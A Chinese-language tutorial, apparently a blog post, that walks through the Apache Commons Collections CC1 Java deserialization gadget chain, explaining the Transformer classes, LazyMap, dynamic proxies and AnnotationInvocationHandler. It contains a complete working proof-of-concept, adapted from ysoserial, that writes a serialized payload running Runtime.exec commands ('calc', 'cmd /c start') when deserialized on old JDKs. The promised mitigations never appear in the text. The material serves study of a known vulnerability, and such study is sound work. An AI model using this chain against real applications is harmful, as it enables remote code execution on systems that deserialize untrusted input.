準備環境
JDK1.7(7u80)、commons-collections(3.x 4.x均可這裡使用3.2版本)
JDK:https://repo.huaweicloud.com/java/jdk/7u80-b15/jdk-7u80-windows-x64.exe
cc3.2:
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2</version>
</dependency>
CC簡介
Apache Commons Collections 是一個擴充套件了 Java 標準庫裡的 Collection 結構的第三方基礎庫,它提供了很多強有力的資料結構型別並實現了各種集合工具類。作為 Apache 開源專案的重要元件,被廣泛運用於各種 Java 應用的開發。commons-collections這裡簡稱cc。
CC1、CC2,這裡指的不是cc庫的版本,而是cc庫的不同的利用方式,或者叫poc程式碼的攻擊鏈構造方式,同時cc庫版本對最終的利用結果有較大的影響,所以文章中會先給出對應的JDK版本和commons-collections版本,以便於後期除錯不會出現差錯。
正文
本文將介紹如何除錯 CC1鏈反序列化漏洞,透過具體示例來展示如何捕獲和利用這一漏洞,並最終提供防範措施,幫助開發者在應用中避免此類問題。
CC1鏈利用了 Apache Commons Collections 中的反序列化漏洞。攻擊者通常會構造一個鏈式物件,其中一個物件會呼叫另一個物件的方法,最終透過呼叫一些不安全的方法來執行惡意操作。
以下介紹幾個cc1鏈中非常重要的幾個類。
Transformer
Transformer
是 Apache Commons Collections 庫中的一個核心介面,用於在 Java 中實現物件轉換的功能。它通常與其他一些類一起使用,例如 ChainedTransformer
、InvokerTransformer
和 ConstantTransformer
,來構造複雜的反序列化攻擊鏈。在反序列化漏洞利用中,Transformer
主要用於建立物件鏈,最終實現執行惡意操作的目標。
Transformer
是一個簡單的介面,它定義了一個通用的方法 transform()
,用於將輸入物件轉換成輸出物件。其基本形式如下:
public interface Transformer {
Object transform(Object var1);
}
ConstantTransformer
ConstantTransformer
類實現了 Transformer
介面,其作用是將所有輸入的物件轉換為一個常量物件。它通常用於在物件鏈中生成固定的返回值。
public class ConstantTransformer implements Transformer {
private final Object constant;
public ConstantTransformer(Object constant) {
this.constant = constant;
}
public Object transform(Object input) {
return constant;
}
}
在反序列化漏洞的利用中,ConstantTransformer
經常被用來將物件轉換為某個固定的物件。例如,它可以將任何傳入的物件轉換為一個 Runtime
類的例項,方便後續鏈式呼叫 exec()
方法來執行惡意命令。
InvokerTransformer
InvokerTransformer
是一個非常重要的實現類,它允許呼叫某個物件的方法並返回結果。它接受方法名和方法引數型別,並執行該方法。
public class InvokerTransformer implements Transformer {
private final String methodName;
private final Class[] paramTypes;
private final Object[] args;
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.methodName = methodName;
this.paramTypes = paramTypes;
this.args = args;
}
// 這個方法中的反射是重點
public Object transform(Object input) {
......
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
......
}
}
在反序列化漏洞中,InvokerTransformer
允許攻擊者透過構造惡意鏈來呼叫目標方法。例如,可以使用 InvokerTransformer
呼叫 Runtime.getRuntime().exec()
來執行惡意命令。
ChainedTransformer
ChainedTransformer
是一個允許將多個 Transformer
連結起來按順序執行的類。它接收一個 Transformer
陣列,並依次將輸入物件傳遞給每個 Transformer
,直到返回最終的轉換結果。
public class ChainedTransformer implements Transformer {
private final Transformer[] transformers;
public ChainedTransformer(Transformer[] transformers) {
this.transformers = transformers;
}
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
}
ChainedTransformer
在反序列化漏洞利用中非常重要,因為它允許攻擊者構建一條物件鏈,每個鏈環執行特定的惡意操作,最終實現目標操作。
透過Transformer構造呼叫鏈
這裡是ysoserial中的程式碼,我們直接改一下拿來用,以方便除錯
public class CommonsCollections1 {
static String serialFileName = "commons-collections1.ser";
public static void main(String[] args) throws Exception {
cc1bySerial();
verify();
}
public static void verify() throws Exception {
// 本地模擬反序列化
FileInputStream fis = new FileInputStream(serialFileName);
ObjectInputStream ois = new ObjectInputStream(fis);
Transformer chain = (Transformer) ois.readObject();
chain.transform(1);
}
public static void cc1bySerial() throws Exception {
String execArgs = "calc";
// 這一段是ysoserial中的CommonsCollections程式碼
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{execArgs}),
new ConstantTransformer(1) };
// 下邊是自己加的程式碼,是為了除錯
Class<?> transformer = Class.forName(ChainedTransformer.class.getName());
Field iTransformers = transformer.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain, transformers);
FileOutputStream fos = new FileOutputStream(serialFileName);
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(transformerChain);
oos.flush();
oos.close();
fos.close();
}
}
在chain執行完transform方法之後,我們構造的程式碼被執行,讓我們來分析一下程式碼是如何被執行的。
ChainedTransformer構造呼叫鏈
ChainedTransformer
是一個“組合”模式的實現,允許多個 Transformer
組合成一個更復雜的行為。其工作原理是按順序呼叫多個 Transformer
,每個 Transformer
處理並修改輸入物件,直到最終返回一個結果。
ChainedTransformer
接受一個 Transformer[]
陣列,在構造時將這些 Transformer
按順序組合成鏈。
transform
方法:該方法實現了 Transformer
介面。在此方法中,ChainedTransformer
依次呼叫每個 Transformer
對輸入物件 input
進行轉換。每次呼叫後,轉換結果會成為下一個 Transformer
的輸入,直到所有 Transformer
都執行完畢,最終返回轉換後的結果。
我剛學習的時候好奇,Runtime.getRuntime().exec("calc")為什麼不能寫成以下這個樣子?
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getRuntime", null, null),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" })
};
ChainedTransformer chain = new ChainedTransformer(transformers);
這是Runtime.getRuntime()是一個Runtime類下的一個靜態方法,無法透過Transformer中的反射方法直接建立例項,所以只能寫成下邊這樣的變種程式碼:
Transformer[] transformer_exec = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
OK,我們回頭來看一下ConstantTransformer和InvokerTransformer是怎麼個邏輯。
public class ConstantTransformer implements Transformer {
private final Object constant;
public ConstantTransformer(Object constant) {
this.constant = constant;
}
public Object transform(Object input) {
return constant;
}
}
InvokerTransformer
public class InvokerTransformer implements Transformer {
private final String methodName;
private final Class[] paramTypes;
private final Object[] args;
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.methodName = methodName;
this.paramTypes = paramTypes;
this.args = args;
}
// 這個方法中的反射是重點
public Object transform(Object input) {
......
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
......
}
}
最重要的是ChainedTransformer,它將兩個Transformer組合了起來:
public class ChainedTransformer implements Transformer {
private final Transformer[] transformers;
public ChainedTransformer(Transformer[] transformers) {
this.transformers = transformers;
}
// 反序列化後呼叫了這個方法,object任傳一個即可
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
// i=0: ConstantTransformer.transform()此時object作為引數值,沒有任何用,在transform執行後object對應的值會被覆蓋為constant。
// i=1: InvokerTransformer.transform()接收Runtime.class,傳入Runtime.class作為input,得到getRuntime方法的Class反射物件
// i=2: 傳入getRuntime方法的Class反射物件,得到invoke方法例項
// i=3: 傳入invoke的Method方法例項,然後呼叫exec方法,指定exec方法的引數是cala
object = this.iTransformers[i].transform(object);
}
return object;
}
}
ConstantTransformer {
public Object transform(Object input) {
return constant;
}
}
InvokerTransformer{
public Object transform(Object input) {
......
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
......
}
}
上邊的呼叫鏈程式碼最終的呼叫過程非常類似於下邊的過程:
// 第一個構造引數呼叫鏈
Class<Runtime> runtimeClass = Runtime.class;
Class<? extends Class> runClass = runtimeClass.getClass();
// 第二個引數呼叫
Method getMethod = runClass.getMethod("getMethod", String.class, Class[].class);
Object getMethodInvoke = getMethod.invoke(runtimeClass, "getRuntime", null);
// 第三個引數呼叫
Class<?> invokeClass = getMethodInvoke.getClass();
Method invokeMethod = invokeClass.getMethod("invoke", Object.class, Object[].class);
Object invokeMethodInvoke = invokeMethod.invoke(getMethodInvoke, null, null);
// 第四個引數呼叫
Class<?> execClass = invokeMethodInvoke.getClass();
Method execMethod = execClass.getMethod("exec", String.class);
execMethod.invoke(invokeMethodInvoke, "calc");
現在呼叫鏈被找到了,但是其他使用了反序列化的地方肯定不會手動呼叫transformer方法啊,我們需要找一個能自動呼叫transformer的地方,比如CC1中提到了以下類:
AbstractMapDecorator
AbstractMapDecorator
是 Apache Commons Collections 中的一個類,它實現了 Map
介面,並且提供了一個裝飾器模式的實現,用來裝飾一個已有的 Map
例項。AbstractMapDecorator
主要的作用是提供一個框架,允許你透過繼承它來對 Map
的行為進行修改或增強。
在反序列化漏洞中,AbstractMapDecorator
是一個常見的類,用來構建複雜的 Map
裝飾器,通常與其他類一起使用,配合 LazyMap
、ChainedTransformer
等類,構建出惡意的鏈條。
AbstractMapDecorator
是一個抽象類,它實際上並不直接操作 Map
,而是透過持有一個 Map
例項,並對該例項的方法進行委託(delegation)和擴充套件,來實現裝飾器模式。
public abstract class AbstractMapDecorator<K, V> implements Map<K, V> {
protected final Map<K, V> decorated;
protected AbstractMapDecorator(Map<K, V> map) {
this.decorated = map;
}
// 介面方法實現,透過委託給裝飾的 Map
public V put(K key, V value) {
return decorated.put(key, value);
}
public V get(Object key) {
return decorated.get(key);
}
public Set<Map.Entry<K, V>> entrySet() {
return decorated.entrySet();
}
// 其他 Map 介面方法,通常透過委託實現
}
decorated
:這是 AbstractMapDecorator
維護的實際 Map
物件。所有的方法呼叫都會委託給這個 decorated
的 Map
例項,AbstractMapDecorator
只是提供了一個框架,可以對 Map
的方法進行增強。
AbstractMapDecorator有多個實現類,如:LazyMap/LazyMapDecorator、TiedMapEntry/TiedMapEntryDecorator、MapEntry/MapEntryDecorator。
LazyMap
LazyMap
是 Commons Collections 中的一個集合類,它的作用是延遲載入資料。即只有在需要的時候(例如透過 get
方法),才會觸發 Transformer
鏈條的執行。在反序列化攻擊中,LazyMap
通常用來延遲觸發惡意操作,而不是在建立物件時立即執行,這有助於繞過一些檢查或避免直接觸發攻擊。
懶載入:LazyMap
在訪問某個鍵時,不會立即返回儲存的值,而是透過 Transformer
動態生成。這個過程是懶載入的,只有在訪問 get()
方法時才會觸發。
觸發攻擊鏈:由於 LazyMap
能夠在訪問鍵時執行 Transformer
,它被廣泛用於反序列化攻擊中,用來在 get()
方法中觸發程式碼執行鏈(如呼叫 Runtime.getRuntime().exec()
執行命令)。
Proxy 和 InvocationHandler
Proxy
和 InvocationHandler
是 Java 動態代理的核心元件,在反序列化鏈中也經常用來實現一些動態行為:
- Proxy:
Proxy
類用於建立一個代理例項,代理物件能夠呼叫指定的InvocationHandler
進行實際的呼叫。在反序列化鏈中,Proxy
可能用來替代一個正常的物件,以觸發代理呼叫的執行。 - InvocationHandler:每當
Proxy
物件的方法被呼叫時,實際的處理邏輯會交由InvocationHandler
中的invoke()
方法來處理。在反序列化攻擊鏈中,InvocationHandler
可以被設定成執行危險操作,比如執行外部命令或載入惡意類。
一個簡單的關於動態代理的簡單例子:
public interface MyInterface {
void sayHello(String name);
}
public class MyInvocationHandler implements InvocationHandler {
private Object target;
public MyInvocationHandler(Object target) {
this.target = target;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("Before invoking method: " + method.getName());
// 呼叫真實物件的方法
Object result = method.invoke(target, args);
System.out.println("After invoking method: " + method.getName());
return result;
}
}
public class DynamicProxyExample {
public static void main(String[] args) {
MyInterface target = new MyInterface() {
@Override
public void sayHello(String name) {
System.out.println("Hello, " + name);
}
};
// 建立 InvocationHandler
InvocationHandler handler = new MyInvocationHandler(target);
// 建立代理物件
MyInterface proxy = (MyInterface) Proxy.newProxyInstance(
target.getClass().getClassLoader(),
target.getClass().getInterfaces(),
handler
);
// 使用代理物件,直接透過MyInvocationHandler呼叫到了target中的invoke方法
proxy.sayHello("World");
}
}
構造完整POC(基於ysoserial)
ysoserial中寫了一些工具類來方便使用,但是這裡直接把ysoserial中的程式碼擇出來了,以便於除錯學習,也對程式碼進行了小的調整,但區別不大。
public static void cc1bySerial() throws Exception {
String execArgs = "cmd /c start";
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{execArgs}),
new ConstantTransformer(1) };
// 等同於ysoserial中的Reflections.setFieldValue(transformerChain, "iTransformers", transformers);寫法
Class<?> transformer = Class.forName(ChainedTransformer.class.getName());
Field iTransformers = transformer.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain, transformers);
// 先建立LazyMap,用來將transformerChain包裝成一個Map,當Map中的get方法被觸發時就能直接觸發到呼叫鏈
final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
// 首先透過反射獲取 AnnotationInvocationHandler 類的建構函式,並且確保這個建構函式可以被訪問。然後透過類名載入 AnnotationInvocationHandler 類,獲取該類的第一個建構函式。由於 AnnotationInvocationHandler 類的建構函式可能是私有的,呼叫 setAccessible(true) 可以讓我們繞過 Java 的訪問控制機制,允許透過反射建立其例項。
final Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
ctor.setAccessible(true);
// 使用反射建立一個 AnnotationInvocationHandler 的例項,並將 Target.class 和 lazyMap 作為建構函式的引數傳入,其中 Documented.class 是 AnnotationInvocationHandler 的第一個引數(其實用什麼都行,找任意一個有屬性的註解都可以),lazyMap 是第二個引數。得到的handler是一個實現了 InvocationHandler 介面的例項,用於處理方法呼叫。此時,handler可以透過 lazyMap 進行一些動態行為處理,比如懶載入或代理。
InvocationHandler handler = (InvocationHandler) ctor.newInstance(Documented.class, lazyMap);
// 透過 Proxy.newProxyInstance() 建立 LazyMap 的動態代理例項,代理物件會將方法呼叫委託給我們之前建立的 handler。
// LazyMap.class.getClassLoader():指定代理類的類載入器為 LazyMap 的類載入器。
// LazyMap.class.getInterfaces():指定代理類需要實現的介面,這裡是 LazyMap 介面。
// handler:指定一個 InvocationHandler,這個 handler 會攔截對 LazyMap 代理例項的方法呼叫並執行自定義的邏輯。
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler);
// 再次使用反射,建立一個新的 AnnotationInvocationHandler 例項,並將 Documented.class 和 mapProxy 作為建構函式的引數,mapProxy 是上一步建立的 LazyMap 的動態代理物件,在這裡作為引數傳遞給 AnnotationInvocationHandler,所以 AnnotationInvocationHandler 會被賦予一個處理懶載入行為的代理物件。
// 這意味著 AnnotationInvocationHandler 現在會在某些方法呼叫時與 mapProxy 互動,而 mapProxy 的方法呼叫會被委託給我們提供的 handler,後者在內部可以處理懶載入或其他定製的行為。
InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Documented.class, mapProxy);
FileOutputStream fos = new FileOutputStream(serialFileName);
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(invocationHandler);
oos.flush();
oos.close();
fos.close();
}
總結起來就是,我們要觸發AnnotationInvocationHandler中的invoke方法,而這個方法會在動態代理過程中被呼叫。
最後讓我們執行一下,彈一個cmd視窗吧,注意這份程式碼只有在JDK<8u21的版本下執行才可以,推薦直接使用JDK:https://repo.huaweicloud.com/java/jdk/7u80-b15/jdk-7u80-windows-x64.exe,最後看下執行效果
呼叫鏈總結 - ysoserial
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()